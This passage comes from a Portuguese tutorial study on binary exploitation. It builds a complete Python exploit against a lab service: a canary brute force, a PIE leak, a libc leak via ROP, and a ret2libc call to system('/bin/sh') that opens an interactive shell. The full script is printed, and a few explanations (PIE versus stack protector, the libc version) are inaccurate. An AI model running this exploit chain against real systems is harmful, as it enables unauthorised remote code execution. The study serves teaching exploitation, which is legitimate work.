O offset para atingir o Canary é de 40 bytes, o que segnifica que se for enviado um buffer maior que
este, a partir do quadragésimo primeiro byte, o Canary começa a ser sobrescrito. Esta informação
abre brecha para ser utilizado o brute force.

Brute force do Canary: Conforme se sabe, o Canary é uma sequência de 8 bytes aleatória que é
gerada cada vez que o programa é executado, e que se um único byte for sobrescrito, o programa
pára sua execução e volta para o início.

Porém, enquanto o programa não for finalizado, o valor do Canary continua o mesmo. Exemplificando,
pode‑se imaginar que o Canary tenha o valor de "\x07\x06\x05\x04\x03\x02\x01\x00", caso
seja enviado um buffer de 40 bytes, mais o byte "\x0a", o Canary ficará com o valor de "\x07\
x06\x05\x04\x03\x02\x01\x0a", ou seja, o programa pára a função e não retorna a mensagem
"Valeu!", conforme visto na enumeração.

Isso significa, que pode‑se enviar continuamente 40 bytes, mais 1 byte qualquer, e monitorar a
resposta até obter a palavra "Valeu!" do programa. A partir deste ponto, começa‑se a enviar 40
bytes do buffer, mais o byte que resultou na resposta esperada, mais um novo ciclo de tentativas.

Seguindo esta idéia, o esboço inicial do exploit fica como abaixo:

1 $ cat exploit.py
2 #!/usr/bin/python3
3
4
5 import socket
6 from struct import pack,unpack
7 from telnetlib import Telnet
8
9 #definindo alvo e funcoes
10 target = ("192.168.0.125", 666)
11 p64 = lambda x: pack("Q",x)
12 u64 = lambda x: unpack("Q",x)
13
14 #funcao que fara o Brute Force
15 def bruteforce(payload):
16 for i in range(256):
17 next_byte = 0x01 * i
18 next_byte = bytes([next_byte])
19
20 tmp_payload = payload + next_byte
21
22 p.send(tmp_payload)
23 p.recv(1024)

H41stur 34
BINARY EXPLOITATION 2021‑09‑24

24 output = p.recv(1024)
25 if b"Valeu!" in output:
26 print(f"[+] Byte encontrado: {hex(i)}")
27 return next_byte
28 if i == 255:
29 print("[-] Erro ao encontrar o proximo byte!")
30 exit()
31
32 #Offset para atingir o Canary
33 offset = b"A" * 40
34 #Valor para sobrescrever RBP
35 rbp = b"B" * 8
36
37 #Cria a conexao com o alvo
38 p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
39 p.connect(target)
40 #Recebe a primeira resposta do alvo
41 p.recv(1024)
42
43 #Inicio do Brute Force do Canary
44 print("[+] Procurando valor do CANARY...")
45 canary = b""
46 for i in range(8):
47 canary = canary + bruteforce(offset + canary)
48 print(f"[+] Valor co CANARY: {canary.hex()}")

Ao executar este script, o exploit fará tentativas consecutivas e incrementais no valor co Canary e
retornará o byte encontrado até finalizar os 8 bytes, conforme imagem abaixo:

Figura 23: Valor do canary encontrado pelo exploit.

Neste ponto, foi possível obter o bypass da proteção do Stack Canary.

H41stur 35
BINARY EXPLOITATION 2021‑09‑24

Bypass do PIE Protector

Conforme realizado no primeiro experimento deste estudo, após o envio do buffer, é necessário
informar um endereço de retorno, porém, neste primeiro experimento, o binário não tinha habilitada
o PIE Protector.

O PIE Protector ou Stack Protector, é um método de proteção que randomiza todos os endereços da
Stack a cada execução. Isto dificulta a ação de encontrar o endereço de retorno para o exploit.

Para efetuar o bypass desta proteção, é preciso uma análise dos endereços de memória, antes da
execução do programa. Ao iniciar o binário no GDB e “disassemblar” a função func antes de executar
o binário, é possível vusualizar alguns endereços conforme imagem abaixo:

Figura 24: Offsets dos endereços da função func.

Como o PIE Protector está ativado, estes bytes não são endereços de fato, mas sim offsets de
endereço. Isto significa que quando o binário for iniciado, um endereço base aleatório será gerado,
e os endereços de função serão este endereço base + o offset.

Em outras palavras, os endereços mudam, mas as distâncias entre um endereço e outro são sempre

H41stur 36
BINARY EXPLOITATION 2021‑09‑24

os mesmos.
Analisando o disassembly da função main é possível encontrar o offset do endereco de retorno da
função func, conforme imagem abaixo:

Figura 25: Endereço de retorno da função func = 0x0000000000001246

O offset do endereço de retorno tem o valor de 0x1246, isso significa, que se for possível obter o valor
de retorno da função func, ou RIP em tempo de execução, e subtrair o valor do offset, chega‑se ao
valor base dos endereços do binário durante a específica execução.
Para encontrar o valor exato de RIP durante a execução, é possível reaproveitar o brute force realizado
no Canary, porém, ao invés de enviar somente o buffer inicial, será enviado o buffer + Canary + valor
de RBP, o script do exploit será atualizado com as seguintes linhas:

1 #incrementando o buffer com o valor do Canary + RBP


2 CANARY = offset + canary + rbp
3
4 #Inicio do Brute Force do endereco de retorno
5 print("[+] Procurando valor de retorno...")
6 ret = b""
7 for i in range(8):
8 ret = ret + bruteforce(CANARY + ret)
9 ret = ret.ljust(8, b"\x00")
10 ret = u64(ret)[0]
11 print(f"[+] Valor de retorno: {hex(ret)}")
12
13 #Offset do endereco de retorno
14 offset_ret = 0x1246
15 #calculando o endereco base

H41stur 37
BINARY EXPLOITATION 2021‑09‑24

16 elf_base = ret - offset_ret


17 print(f"[+] ELF BASE @ {hex(elf_base)}")

Ao executar o script, o exploit fará o bruteforce do Canary, incluirá seu valor ao buffer, e iniciará
o bruteforce do endereço de retorno. Assim que o endereço de retorno for encontrado, o script
decrementará o valor de 0x1246 que é seu offset, chegando ao endereço base do binário.

Figura 26: Vazamento do endereço de retorno e base do binário.

Até este ponto, foi possível efetuar o bypass do Canary e do PIE Protector em tempo de execução, além
de conseguir o vazamento do endereço base do binário que será útil nos próximos passos.

Bypass do NX e ASLR

No primeiro experimento deste estudo, foi possível enviar um shell code logo após o endereço de
retorno, pois todas as instruções foram executadas direto da pilha. Isto ocorreu, pois o byte NX não
estava habilitado.

Byte NX: O byte NX pu No eXecute, é uma proteção que impede que algumas instruções sejam
executadas diretamente de pilha, o que faz muito sentido, pois os registradores existem justamente
para argumentos e funções.

H41stur 38
BINARY EXPLOITATION 2021‑09‑24

Porém, nem todas as instruções são bloqueadas pelo byte NX, se uma função existente no binário ou
existente na Libc utilizada pelo binário for chamada, esta função executa normalmente.

As Libc são bibliotecas padrões da linguagem C que guardam funções que podem ser utilizadas por
programas. Existem inúmeras Libc numa distribuição Linux, e diversas Libc para cada distribuição. É
possível descobrir qual Libc o binário está utilizando com o comando ldd conforme abaixo:

1 $ ldd prog
2 linux-vdso.so.1 (0x00007ffcd43ce000)
3 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0
x00007f69bfc77000)
4 /lib64/ld-linux-x86-64.so.2 (0x00007f69bfe63000)

Na distribuição Linux da máquina atacante, a Libc utilizada pelo binário é a que se encontra no
caminho "/lib/x86_64-linux-gnu/libc.so.6", porém, a versão da Libc na máquina alvo,
pode ser outra, uma vez que não se sabe qual distribuição e versão do Linux ela utiliza.

ASLR: O ASLR (Address Space Layout Randomization) tem a função de randomização de endereços
de memória assim como o PIE Protector, porém ele randomiza os endereços das Libc, portanto, para
se utilizar uma função existente na Libc do SO, é preciso antes descobrir seu endereço em tempo de
execução.

Para o bypass do byte NX a ponto de conseguir um shell, é preciso primeiro o bypass do ASLR. E para
o bypass do ASLR, primeiro é preciso uma forma de bypass do byte NX.

Como somente é possível executar funções e instruções que já existam no binário ou na Libc, é preciso
utilizar uma função que forneça um endereço de memória válido.

Vazamento de endereços: O programa imprime palavras na tela para o usuário, o que significa que
utiliza alguma função para isso. Se o código fonte ou o disassembly for analisado, é possível encontrar
a função printf que faz este trabalho.

Ao verificar o manual da função printf, é possível entender como ela funciona conforme imagem
abaixo:

1 $ man 3 printf

H41stur 39
BINARY EXPLOITATION 2021‑09‑24

Figura 27: Funcionamento da função printf.

Basicamente a função pede um único argumento, que é a mensagem em si. Conforme explorado no
início deste estudo, para que uma função Assembly seja invocada, seu primeiro argumento precisa
estar no registrador RDI, porém o byte NX não deixará esta instrução ser executada direto da Stack. É
preciso utilizar a técnica de ROP Exploitation

ROP Exploitation: O ROP (Return‑Oriented Programming) é uma técnica que se incorpora no


retorno de uma função, alterando a saída da função RET. Para que um programa funciona a nível
de linguagem de máquina, várias instruções Assembly são executadas, acontece que algumas delas
podem ser utilizadas na própria exploração do binário, pois são instruções existentes dentro do
próprio código.

A estes ebdereços do programa que executam ROPS, dá se o nome de “gadgets”. Para encontrar um
endereço do próprio binário que fará o trabalho, de enviar um argumento para RDI, pode‑se utilizar
a ferramenta ROPGadget, que pode ser usada conforme o comando abaixo:

1 $ ROPgadget --binary prog --ropchain | grep "pop rdi"


2 0x00000000000012db : pop rdi ; ret

O offset da instrução POP RED; RDI é perfeita, pos estas instruções vão fazer o POP do próximo
endereço para o registrador RDI, e logo em seguida a instrução RET vai retornar para o próximo
endereço no topo da pilha.

Para chegar no endereço real da função POP RDI; RET em tempo de execução, basta somar o
endereço base do binário que já é possível calcular, com o offset encontrado com o ROPGadget.

Ao utilizar o objdump para encontrar o offset da função printf no binário, é possível encontrar dois
offsets conforme o comando abaixo:

1 $ objdump -d -M intel prog | grep printf


2 0000000000001050 <printf@plt>:
3 1050: ff 25 d2 2f 00 00 jmp QWORD PTR [rip+0x2fd2]
# 4028 <printf@GLIBC_2.2.5>
4 11c8: e8 83 fe ff ff call 1050 <printf@plt>

O offset 0x1050 representa o offset da função print na PLT (Procedure Linkage Table), que

H41stur 40
BINARY EXPLOITATION 2021‑09‑24

basicamente é uma tabela de links, quando um programa chama a função printf, a primeira
chamada vai para a PLT que por sua vez chamará a GOT (Global Offset Table) que contém o endereço
real da função..

O segundo offset, o 0x4028, representa o offset da função printf na GOT, isso significa que no
momento do exploit, se o argumento da função printf for o endereço da GOT, quando a função
executar, vai imprimir o endereço da função em tempo de execução.

Após o envio das instruções, é preciso conduzir o programa para continuar sua execução de forma
normal, para tanto, é possível encontrar o offset da própria função main com o objdump através do
comando abaixo:

1 $ objdump -d -M intel prog | grep main


2 10dd: 48 8d 3d 40 01 00 00 lea rdi,[rip+0x140] #
1224 <main>
3 10e4: ff 15 f6 2e 00 00 call QWORD PTR [rip+0x2ef6]
# 3fe0 <__libc_start_main@GLIBC_2.2.5>
4 0000000000001224 <main>:
5 123a: 75 2f jne 126b <main+0x47>
6 1275: eb bc jmp 1233 <main+0xf>

Todos estes offsets podem ser convertidos em endereços reais em tempo de execução, ao somá‑los
com o endereço base do binário que já é calculado com o exploit. Com estas instruções, é possível
atualizar o script com os seguintes comandos:

1 #Encontrando a Instrução Assembly no binário


2 #ROPgadget --binary prog --ropchain | grep rdi
3 pop_rdi = 0x12db + elf_base
4
5 #Encontrando offset da funcao printf
6 #objdump -d -M intel prog | grep printf
7 printf_got = 0x4028 + elf_base
8 printf_plt = 0x1050 + elf_base
9
10 #Encontrando o offset dafuncao main
11 #objdump -d -M intel prog | grep main
12 main = 0x1224 + elf_base
13
14 #Criando o payload
15 payload = CANARY
16 payload += p64(pop_rdi)
17 payload += p64(printf_got)
18 payload += p64(printf_plt)
19 payload += p64(main)
20
21 #Enviando o payload
22 p.send(payload)
23 #Recebendo a primeira linha
24 p.recv(1024)

H41stur 41
BINARY EXPLOITATION 2021‑09‑24

25 #Recebendo a segunda linha


26 p.recv(1024)
27 #Salvando a terceira linha com o endereco da funcao PRINTF
28 elf_printf = p.recv(1024)
29 elf_printf = elf_printf.replace(b"Preencha meu buffer:", b"").strip()
30 elf_printf = u64(elf_printf.ljust(8, b"\x00"))[0]
31 print(f"[+] ELF PRINTF @ {hex(elf_printf)}")

Ao executar o exploit, é possível obter os endereços necessário para finalizar a exploração:

Figura 28: Endereço da função printf em tempo de execução.

Este endereço obtido com o exploit, é exatamente o endereço da função printf rodando da Libc em
tempo de execução, através dela, é possível calcular o endereço base da Libc, e assim chamar outras
funções.
Para encontrar o endereço base e qual distribuição Linux o alvo usa, é preciso notar o ultimo “byte

H41stur 42
BINARY EXPLOITATION 2021‑09‑24

e meio” do endereço da função encontrado. Não importa o quanto os demais bytes do endereço
possam mudar a cada execução, os ultimos três dígitos serão sempre os mesmos, pois se tratam
do endereço base da Libc, que sempre termina em “000”, mais o offset da função. Assim, pode‑se
utilizar o Libc Database Search, para pesquisar qual Libc o alvo utiliza através do offset da função
printf que no caso é e10.

Ao pesquisar na plataforma, é preciso somente inserir o nome da função, e o ultimo byte e meio, a
plataforma informa quais as possíveis Libc utilizadas, conforme a imagem abaixo:

Figura 29: Pesquisando a Libc.

Foi possível descobrir que o alvo utiliza a distribuição Ubuntu na versão 9. Ao clicar em uma das Libc,
é possível visualizar outros offsets de funções, ou até mesmo efetuar o download da Libc para estudo
local, conforme imagem abaixo:

H41stur 43
BINARY EXPLOITATION 2021‑09‑24

Figura 30: Outros enderecos da Libc.

No caso deste estudo, a Libc foi baixada para estudo local.


Ao utilzar o objdump na Libc, é possível encontrar o offset da função printf, se este offset for
subtraído do endereço real em tempo de execução da função, é possível encontrar o endereço base
da Libc. As linhas abaixo foram adicionadas no script, para o exploit calcular o endereço base da
Libc:

1 #objdump -d -M intel libc/libc6_2.31-0ubuntu9_amd64 | grep _IO_printf


2 offset_printf = 0x64e10
3 libc_base = elf_printf - offset_printf

H41stur 44
BINARY EXPLOITATION 2021‑09‑24

4 print(f"[+] LIBC BASE @ {hex(libc_base)}")

Executando o exploit, é possível obter o vazamento do endereço base da Libc, independente da


randomização feita pelo ASLR, conforme imagem abaixo:

Figura 31: Endereço base da Libc vazado.

Com o endereço base da Libc sendo vazado em tempo de execução, é possível calcular o endereço de
qualquer função em tempo de execução, ao somar o endereço base com seu respectivo offset.

A função system da Libc, consegue executar comandos do próprio SO, ao pesquisar seu
funcionamento com o comando man system, é possível compreendê‑la conforme abaixo:

H41stur 45
BINARY EXPLOITATION 2021‑09‑24

Figura 32: Função system.

Obtendo o shellcode: A função system, precisa somente de um argumento, que de fato é um


comando do SO, e como já é sabido, este primeiro argumendo precisa estar em RDI. Para encontrar
o offset da função system na Libc, pode‑se utilizar o objdump, conforme abaixo:

1 $ objdump -d -M intel libc/libc6_2.31-0ubuntu9_amd64 | grep system


2 0000000000055410 <__libc_system@@GLIBC_PRIVATE>:
3 55417: 74 07 je 55420 <
__libc_system@@GLIBC_PRIVATE+0x10>

O offset da função system é 0x55410, porém, é preciso encontrar o offset de algum comando para
ser executado, no caso do desenvolvimento deste exploit, o comando ideal é /bin/sh, pois ao
ser executado, retornara um reverse shell. Para encontrar o offset do comando, pode‑se utilizar o
comando strings, conforme abaixo:

1 $ strings -a -t x libc/libc6_2.31-0ubuntu9_amd64 | grep "/bin/sh"


2 1b75aa /bin/sh

O offset de /bin/sh é 0x1b75aa, todos os offsets de Libc encontrados, podem ser transformados em
endereços reais em tempo de execução, ao somá‑los com o endereço base da Libc que já foi possível
calcular.

Com estas informações em mãos, é possível atualizar o script com a ultima parte, que enviará o
payload e retornará um reverse shell interativo. A versão final do exploit fica como abaixo:

1 $ cat exploit.py
2 #!/usr/bin/python3
3
4
5 import socket
6 from struct import pack,unpack
7 from telnetlib import Telnet
8
9 #definindo alvo e funcoes
10 target = ("192.168.0.125", 666)
11 p64 = lambda x: pack("Q",x)
12 u64 = lambda x: unpack("Q",x)
13

H41stur 46
BINARY EXPLOITATION 2021‑09‑24

14 #funcao que fara o Brute Force


15 def bruteforce(payload):
16 for i in range(256):
17 next_byte = 0x01 * i
18 next_byte = bytes([next_byte])
19
20 tmp_payload = payload + next_byte
21
22 p.send(tmp_payload)
23 p.recv(1024)
24 output = p.recv(1024)
25 if b"Valeu!" in output:
26 print(f"[+] Byte encontrado: {hex(i)}")
27 return next_byte
28 if i == 255:
29 print("[-] Erro ao encontrar o proximo byte!")
30 exit()
31
32 #Offset para atingir o Canary
33 offset = b"A" * 40
34 #Valor para sobrescrever RBP
35 rbp = b"B" * 8
36
37 #Cria a conexao com o alvo
38 p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
39 p.connect(target)
40 #Recebe a primeira resposta do alvo
41 p.recv(1024)
42
43 #Inicio do Brute Force do Canary
44 print("[+] Procurando valor do CANARY...")
45 canary = b""
46 for i in range(8):
47 canary = canary + bruteforce(offset + canary)
48 print(f"[+] Valor do CANARY: {canary.hex()}")
49
50 #incrementando o buffer com o valor do Canary + RBP
51 CANARY = offset + canary + rbp
52
53 #Inicio do Brute Force do endereco de retorno
54 print("[+] Procurando valor de retorno...")
55 ret = b""
56 for i in range(8):
57 ret = ret + bruteforce(CANARY + ret)
58 ret = ret.ljust(8, b"\x00")
59 ret = u64(ret)[0]
60 print(f"[+] Valor de retorno: {hex(ret)}")
61
62 #Offset do endereco de retorno
63 offset_ret = 0x1246
64 #calculando o endereco base

H41stur 47
BINARY EXPLOITATION 2021‑09‑24

65 elf_base = ret - offset_ret


66 print(f"[+] ELF BASE @ {hex(elf_base)}")
67
68 #Encontrando a Instrução Assembly no binário
69 #ROPgadget --binary prog --ropchain | grep rdi
70 pop_rdi = 0x12db + elf_base
71
72 #Encontrando offset da funcao printf
73 #objdump -d -M intel prog | grep printf
74 printf_got = 0x4028 + elf_base
75 printf_plt = 0x1050 + elf_base
76
77 #Encontrando o offset dafuncao main
78 #objdump -d -M intel prog | grep main
79 main = 0x1224 + elf_base
80
81 #Criando o payload
82 payload = CANARY
83 payload += p64(pop_rdi)
84 payload += p64(printf_got)
85 payload += p64(printf_plt)
86 payload += p64(main)
87
88 #Enviando o payload
89 p.send(payload)
90 #Recebendo a primeira linha
91 p.recv(1024)
92 #Recebendo a segunda linha
93 p.recv(1024)
94 #Salvando a terceira linha com o endereco da funcao PRINTF
95 elf_printf = p.recv(1024)
96 elf_printf = elf_printf.replace(b"Preencha meu buffer:", b"").strip()
97 elf_printf = u64(elf_printf.ljust(8, b"\x00"))[0]
98 print(f"[+] ELF PRINTF @ {hex(elf_printf)}")
99
100 #objdump -d -M intel libc/libc6_2.31-0ubuntu9_amd64 | grep _IO_printf
101 offset_printf = 0x64e10
102 libc_base = elf_printf - offset_printf
103 print(f"[+] LIBC BASE @ {hex(libc_base)}")
104
105 #objdump -d -M libc/libc6_2.31-0ubuntu9_amd64 libc | grep system
106 system = 0x55410 + libc_base
107 #strings -a -t x libc/libc6_2.31-0ubuntu9_amd64 | grep "/bin/sh"
108 binsh = 0x1b75aa + libc_base
109
110 payload = CANARY
111 payload += p64(pop_rdi)
112 payload += p64(binsh)
113 payload += p64(system)
114 payload += p64(main)
115

H41stur 48
BINARY EXPLOITATION 2021‑09‑24

116 p.send(payload)
117
118 t = Telnet()
119 t.sock = p
120 t.interact()

Ao executar a versão final do exploit, é possível obter o reverse shell da máquina alvo, conforme
imagem abaixo:

H41stur 49
BINARY EXPLOITATION 2021‑09‑24

Figura 33: Exploit executado com sucesso!

H41stur 50
BINARY EXPLOITATION 2021‑09‑24

E com isso, todas as proteções impostas pelo binário e pelo SO foram derrubadas utilizando diversas
técnicas.

CONSIDERAÇÕES FINAIS

Neste estudo, foram apresentados os conceitos de arquitetura e linguagem de máquina necessários


para o entendimento da exploração de binários de forma prática.

Com o avanço tecnológico, as técnicas de proteção, assim como de exploração tendem a atingir uma
complexidade cada vez maior, que exigirão análises mais profundas sobre o assunto.

Além das técnicas apresentadas neste estudo, existem várias outras formas de exploração de binários
como o Heap Overflow e a Engenharia Reversa.

REFERÊNCIAS

LIBC‑DATABASE. Libc Database Search. [S. l.], 2018. Disponível em: https://libc.blukat.me/. Acesso
em: 24 set. 2021.

PEDA ‑ PYTHON EXPLOIT DEVELOPMENT ASSISTANCE FOR GDB (EUA). PEDA: Python Exploit
Development Assistance for GDB. [S. l.], 05 2012. Disponível em: https://github.com/longld/peda.
Acesso em: 24 set. 2021.

RAPID7 (EUA). Metasploit Framework. [S. l.], 2021. Disponível em: https://www.metasploit.com/.
Acesso em: 24 set. 2021.

ROPGADGET TOOL (EUA). ROPgadget Tool. [S. l.], 05 2021. Disponível em: https://github.com/JonathanSalwan/ROPg
Acesso em: 24 set. 2021.

SEI CERT C CODING STANDARD (EUA). SEI CERT C Coding Standard. [S. l.], 05 2018. Disponível
em: https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard. Acesso em: 24
set. 2021.

ZHIRKOV, Igor. Programação em Baixo Nível: C, Assembly e execução de programas na arquitetura


Intel 64. 1. ed. São Paulo: Novatec, 2018. 576 p. ISBN 978‑85‑7522‑667‑4.

H41stur 51

Você também pode gostar